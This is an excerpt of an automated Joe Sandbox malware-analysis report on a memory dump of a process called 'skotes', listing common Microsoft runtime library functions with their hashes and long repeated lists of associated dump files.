std::bad_exception::bad_exception.LIBCMT ref: 007C9CFE
std::bad_exception::bad_exception.LIBCMT ref: 007C9D6A

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 06848f0a091aab5f137e2a6202b2a713abec66435d518459229b5f3e467e0432
Instruction ID: 9dd1d80f153e164160fc7445cac531331f6219f4ceba82d5dc8bcf17527cfa91
Opcode Fuzzy Hash: 06848f0a091aab5f137e2a6202b2a713abec66435d518459229b5f3e467e0432
Instruction Fuzzy Hash: A0216576A04519DFDB45EF64D48EEADB7B4AF05710B20406DF202BB251EF39AD01CB61

Function 007CA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 007CA069

Part of subcall function 007CB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 007CB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 007CA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 007CA0CB

Part of subcall function 007CAB41: List.LIBCONCRT ref: 007CAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 007CA0DB

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: d4358a2a08f2c7d7a56a8f6552af02f4c9994e735448aecbafd6cf71295b3dc0
Instruction ID: 237b86ff34f6db4a1e8fe17f2c3a9a58918f152f22bb477c6c25f9b884c92277
Opcode Fuzzy Hash: d4358a2a08f2c7d7a56a8f6552af02f4c9994e735448aecbafd6cf71295b3dc0
Instruction Fuzzy Hash: 1C219A31900A18EFCB24EFA5D991DABB3F9FF48304700495EE442A7651DB38E901CBA2

Function 007C4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007C4893
ListArray.LIBCONCRT ref: 007C48A5

Part of subcall function 007C5555: _InternalDeleteHelper.LIBCONCRT ref: 007C5564

ListArray.LIBCONCRT ref: 007C48AF
_InternalDeleteHelper.LIBCONCRT ref: 007C48C8

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 260b42287f21f7d95ed0dea64794781542f20a30d1899d24638908ef23c2b7dd
Instruction ID: cfbd44f1b16a31d988fe2d9e9e5c24bee6686db4faae29ef1872510e24f2b3b3
Opcode Fuzzy Hash: 260b42287f21f7d95ed0dea64794781542f20a30d1899d24638908ef23c2b7dd
Instruction Fuzzy Hash: 94012631200921FFCA217BA4D886F6EB7ABBF44710705002DF80497612DF29FC6287A0

Function 007CEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007CEE6A
ListArray.LIBCONCRT ref: 007CEE7C

Part of subcall function 007CEF29: _InternalDeleteHelper.LIBCONCRT ref: 007CEF3B

ListArray.LIBCONCRT ref: 007CEE86
_InternalDeleteHelper.LIBCONCRT ref: 007CEE9F

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 19024502f9301159c2876662b8dfa7c83541a911bd71d722c183cdce4ef4d123
Instruction ID: 4deb4d90df033a8abf5aab64be9890fbcd3f63a5df8aac8303f0cfae7ef32001
Opcode Fuzzy Hash: 19024502f9301159c2876662b8dfa7c83541a911bd71d722c183cdce4ef4d123
Instruction Fuzzy Hash: DB01D671200621FFDA257B60D8C6FAEBB6ABF44750705102DF40497611CB28FC2286A1

Function 007CD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007CD0C5
ListArray.LIBCONCRT ref: 007CD0D7

Part of subcall function 007CC6B2: _InternalDeleteHelper.LIBCONCRT ref: 007CC6C4

ListArray.LIBCONCRT ref: 007CD0E1
_InternalDeleteHelper.LIBCONCRT ref: 007CD0FA

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
